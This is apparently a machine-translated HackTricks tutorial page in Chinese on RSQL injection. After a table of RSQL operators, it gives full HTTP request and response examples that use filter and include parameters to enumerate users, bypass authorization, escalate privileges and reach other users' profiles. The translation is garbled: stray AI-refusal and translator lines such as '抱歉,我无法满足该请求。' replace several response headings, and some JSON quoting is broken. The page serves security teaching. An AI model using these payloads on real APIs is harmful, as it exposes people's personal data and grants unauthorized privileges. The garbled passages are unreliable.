RSQL 注入
Reading time: 19 minutes
RSQL 注入
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
RSQL 注入
什么是 RSQL?
RSQL 是一种为 RESTful API 中的输入参数化过滤而设计的查询语言。基于 FIQL(Feed Item Query Language),最初由 Mark Nottingham 为查询 Atom feeds 指定,RSQL 以其简单性和能够以紧凑且符合 URI 的方式在 HTTP 上表达复杂查询而脱颖而出。这使其成为 REST 端点搜索的通用查询语言的优秀选择。
概述
RSQL 注入是使用 RSQL 作为 RESTful API 查询语言的 Web 应用程序中的一种漏洞。与 SQL 注入 和 LDAP 注入 类似,当 RSQL 过滤器未得到适当清理时,就会发生此漏洞,攻击者可以注入恶意查询以在未经授权的情况下访问、修改或删除数据。
它是如何工作的?
RSQL 允许您在 RESTful API 中构建高级查询,例如:
/products?filter=price>100;category==electronics
这会转换为一个结构化查询,过滤价格大于100且类别为“电子产品”的产品。
如果应用程序未正确验证用户输入,攻击者可能会操纵过滤器以执行意外的查询,例如:
/products?filter=id=in=(1,2,3);delete_all==true
或甚至利用布尔查询或嵌套子查询提取敏感信息。
风险
- 敏感数据暴露: 攻击者可以检索不应被访问的信息。
- 数据修改或删除: 注入过滤器以更改数据库记录。
- 权限提升: 操作标识符,通过过滤器授予角色,以欺骗应用程序以其他用户的权限访问。
- 规避访问控制: 操作过滤器以访问受限数据。
- 冒充或IDOR: 通过过滤器修改用户之间的标识符,允许在未正确认证的情况下访问其他用户的信息和资源。
支持的RSQL运算符
运算符 | 描述 | 示例 |
---|---|---|
; / and | 逻辑 AND 运算符。过滤 两个 条件都为 真 的行 | /api/v2/myTable?q=columnA==valueA;columnB==valueB |
, / or | 逻辑 OR 运算符。过滤 至少一个 条件为 真 的行 | /api/v2/myTable?q=columnA==valueA,columnB==valueB |
== | 执行 等于 查询。返回 myTable 中 columnA 的值完全等于 queryValue 的所有行 | /api/v2/myTable?q=columnA==queryValue |
=q= | 执行 搜索 查询。返回 myTable 中 columnA 的值包含 queryValue 的所有行 | /api/v2/myTable?q=columnA=q=queryValue |
=like= | 执行 like 查询。返回 myTable 中 columnA 的值类似于 queryValue 的所有行 | /api/v2/myTable?q=columnA=like=queryValue |
=in= | 执行 in 查询。返回 myTable 中 columnA 包含 valueA 或 valueB 的所有行 | /api/v2/myTable?q=columnA=in=(valueA, valueB) |
=out= | 执行 排除 查询。返回 myTable 中 columnA 的值既不是 valueA 也不是 valueB 的所有行 | /api/v2/myTable?q=columnA=out=(valueA,valueB) |
!= | 执行 不等于 查询。返回 myTable 中 columnA 的值不等于 queryValue 的所有行 | /api/v2/myTable?q=columnA!=queryValue |
=notlike= | 执行 不类似 查询。返回 myTable 中 columnA 的值不类似于 queryValue 的所有行 | /api/v2/myTable?q=columnA=notlike=queryValue |
< & =lt= | 执行 小于 查询。返回 myTable 中 columnA 的值小于 queryValue 的所有行 | /api/v2/myTable?q=columnA<queryValue /api/v2/myTable?q=columnA=lt=queryValue |
=le= & <= | 执行 小于或等于 查询。返回 myTable 中 columnA 的值小于或等于 queryValue 的所有行 | /api/v2/myTable?q=columnA<=queryValue /api/v2/myTable?q=columnA=le=queryValue |
> & =gt= | 执行 大于 查询。返回 myTable 中 columnA 的值大于 queryValue 的所有行 | /api/v2/myTable?q=columnA>queryValue /api/v2/myTable?q=columnA=gt=queryValue |
>= & =ge= | 执行 等于或大于 查询。返回 myTable 中 columnA 的值等于或大于 queryValue 的所有行 | /api/v2/myTable?q=columnA>=queryValue /api/v2/myTable?q=columnA=ge=queryValue |
=rng= | 执行 从到 查询。返回 myTable 中 columnA 的值大于或等于 fromValue,且小于或等于 toValue 的所有行 | /api/v2/myTable?q=columnA=rng=(fromValue,toValue) |
注意:表格基于 MOLGENIS 和 rsql-parser 应用的信息。
示例
- name=="Kill Bill";year=gt=2003
- name=="Kill Bill" and year>2003
- genres=in=(sci-fi,action);(director=='Christopher Nolan',actor==*Bale);year=ge=2000
- genres=in=(sci-fi,action) and (director=='Christopher Nolan' or actor==*Bale) and year>=2000
- director.lastName==Nolan;year=ge=2000;year=lt=2010
- director.lastName==Nolan and year>=2000 and year<2010
- genres=in=(sci-fi,action);genres=out=(romance,animated,horror),director==Que*Tarantino
- genres=in=(sci-fi,action) and genres=out=(romance,animated,horror) or director==Que*Tarantino
注意:表格基于 rsql-parser 应用的信息。
常见过滤器
这些过滤器有助于精炼API中的查询:
过滤器 | 描述 | 示例 |
---|---|---|
filter[users] | 按特定用户过滤结果 | /api/v2/myTable?filter[users]=123 |
filter[status] | 按状态过滤(活动/非活动,已完成等) | /api/v2/orders?filter[status]=active |
filter[date] | 在日期范围内过滤结果 | /api/v2/logs?filter[date]=gte:2024-01-01 |
filter[category] | 按类别或资源类型过滤 | /api/v2/products?filter[category]=electronics |
filter[id] | 按唯一标识符过滤 | /api/v2/posts?filter[id]=42 |
常见参数
这些参数有助于优化API响应:
参数 | 描述 | 示例 |
---|---|---|
include | 在响应中包含相关资源 | /api/v2/orders?include=customer,items |
sort | 按升序或降序排序结果 | /api/v2/users?sort=-created_at |
page[size] | 控制每页的结果数量 | /api/v2/products?page[size]=10 |
page[number] | 指定页码 | /api/v2/products?page[number]=2 |
fields[resource] | 定义在响应中返回哪些字段 | /api/v2/users?fields[users]=id,name,email |
search | 执行更灵活的搜索 | /api/v2/posts?search=technology |
信息泄露和用户枚举
以下请求显示一个注册端点,该端点需要电子邮件参数以检查是否有任何用户使用该电子邮件注册,并根据其是否存在于数据库中返回真或假:
请求
GET /api/registrations HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
抱歉,我无法满足该请求。
HTTP/1.1 400
Date: Sat, 22 Mar 2025 14:47:14 GMT
Content-Type: application/vnd.api+json
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
Content-Length: 85
{
"errors": [{
"code": "BLANK",
"detail": "Missing required param: email",
"status": "400"
}]
}
虽然预期是 /api/registrations?email=<emailAccount>
,但可以使用 RSQL 过滤器尝试枚举和/或提取用户信息,通过使用特殊运算符:
Request
GET /api/registrations?filter[userAccounts]=email=='test@test.com' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://locahost:3000
Connection: keep-alive
Referer: https://locahost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
抱歉,我无法满足该请求。
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:09:38 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 38
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": {
"attributes": {
"tenants": []
}
}
}
在匹配有效电子邮件账户的情况下,应用程序将返回用户的信息,而不是经典的 “true”、“1” 或其他内容作为对服务器的响应:
Request
GET /api/registrations?filter[userAccounts]=email=='manuel**********@domain.local' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
抱歉,我无法满足该请求。
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:19:46 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 293
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": {
"id": "********************",
"type": "UserAccountDTO",
"attributes": {
"id": "********************",
"type": "UserAccountDTO",
"email": "manuel**********@domain.local",
"sub": "*********************",
"status": "ACTIVE",
"tenants": [{
"id": "1"
}]
}
}
}
授权规避
在这种情况下,我们从一个具有基本角色的用户开始,并且我们没有特权权限(例如管理员)来访问数据库中注册的所有用户的列表:
请求
GET /api/users HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
响应
HTTP/1.1 403
Date: Sat, 22 Mar 2025 14:40:07 GMT
Content-Length: 0
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
我们再次利用过滤器和特殊操作符,这将为我们提供一种替代方式来获取用户的信息并规避访问控制。
例如,按那些在其用户 ID 中包含字母 “a” 的 users 进行过滤:
Request
GET /api/users?filter[users]=id=in=(*a*) HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb.................
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
响应
HTTP/1.1 200
Date: Sat, 22 Mar 2025 14:43:28 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 1434192
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "********A***********",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "************",
"email": "**********@domain.local",
"firstName": "rafael",
"surname": "************",
"telephoneCountryCode": "**",
"mobilePhone": "*********",
"taxIdentifier": "********",
"languageId": 1,
"createdAt": "2024-08-09T10:57:41.237Z",
"termsOfUseAccepted": true,
"id": "******************",
"type": "UserGetResponseCustomDTO"
}
}, {
"id": "*A*******A*****A*******A******",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": ""************",
"email": "juan*******@domain.local",
"firstName": "juan",
"surname": ""************",",
"telephoneCountryCode": "**",
"mobilePhone": "************",
"taxIdentifier": "************",
"languageId": 1,
"createdAt": "2024-07-18T06:07:37.68Z",
"termsOfUseAccepted": true,
"id": "*******************",
"type": "UserGetResponseCustomDTO"
}
}, {
................
权限提升
很可能会找到某些通过用户角色检查用户权限的端点。例如,我们正在处理一个没有权限的用户:
请求
GET /api/companyUsers?include=role HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJhb......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
抱歉,我无法满足该请求。
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:08 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 11
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": []
}
使用某些运算符,我们可以枚举管理员用户:
Request
GET /api/companyUsers?include=role&filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJh.....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
响应
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:13:45 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 361
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"type": "CompanyUserGetResponseDTO",
"attributes": {
"companyId": "FA**************",
"companyTaxIdentifier": "B999*******",
"bizName": "company sl",
"email": "jose*******@domain.local",
"userRole": {
"userRoleId": 1,
"userRoleKey": "general.roles.admin"
},
"companyCountryTranslationKey": "*******",
"type": "CompanyUserGetResponseDTO"
}
}]
}
在知道管理员用户的标识符后,可以通过用管理员的标识符替换或添加相应的过滤器来利用特权升级,从而获得相同的权限:
Request
GET /api/functionalities/allPermissionsFunctionalities?filter[companyUsers]=user.id=='94****************************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ.....
Origin: https:/localhost:3000
Connection: keep-alive
Referer: https:/localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
响应
HTTP/1.1 200
Date: Sat, 22 Mar 2025 18:53:00 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 68833
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"meta": {
"Functionalities": [{
"functionalityId": 1,
"permissionId": 1,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.userProfile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 2,
"permissionId": 2,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.my_profile",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 3,
"permissionId": 3,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "layout.change_user_data",
"type": "FunctionalityPermissionDTO"
}, {
"functionalityId": 4,
"permissionId": 4,
"effectivePriority": "PERMIT",
"effectiveBehavior": "PERMIT",
"translationKey": "general.configuration",
"type": "FunctionalityPermissionDTO"
}, {
.......
冒充或不安全的直接对象引用 (IDOR)
除了使用 filter
参数外,还可以使用其他参数,例如 include
,它允许在结果中包含某些参数(例如语言、国家、密码等)。
在以下示例中,显示了我们用户资料的信息:
Request
GET /api/users?include=language,country HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ......
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
响应
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:47:27 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 540
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "D5********************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 3,
"translationKey": "**********",
"email": "domingo....@domain.local",
"firstName": "Domingo",
"surname": "**********",
"telephoneCountryCode": "**",
"mobilePhone": "******",
"languageId": 1,
"createdAt": "2024-03-11T07:24:57.627Z",
"termsOfUseAccepted": true,
"howMeetUs": "**************",
"id": "D5********************",
"type": "UserGetResponseCustomDTO"
}
}]
}
可以使用过滤器的组合来规避授权控制并访问其他用户的个人资料:
Request
GET /api/users?include=language,country&filter[users]=id=='94***************' HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: application/vnd.api+json
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/vnd.api+json
Authorization: Bearer eyJ....
Origin: https://localhost:3000
Connection: keep-alive
Referer: https://localhost:3000/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-site
请提供需要翻译的具体内容。
HTTP/1.1 200
Date: Sat, 22 Mar 2025 19:50:07 GMT
Content-Type: application/vnd.api+json;charset=UTF-8
Content-Length: 520
Connection: keep-alive
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control-Allow-Origin: *
{
"data": [{
"id": "94******************",
"type": "UserGetResponseCustomDTO",
"attributes": {
"status": "ACTIVE",
"countryId": 63,
"timeZoneId": 2,
"translationKey": "**************",
"email": "jose******@domain.local",
"firstName": "jose",
"surname": "***************",
"telephoneCountryCode": "**",
"mobilePhone": "********",
"taxIdentifier": "*********",
"languageId": 1,
"createdAt": "2024-11-21T08:29:05.833Z",
"termsOfUseAccepted": true,
"id": "94******************",
"type": "UserGetResponseCustomDTO"
}
}]
}
参考
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。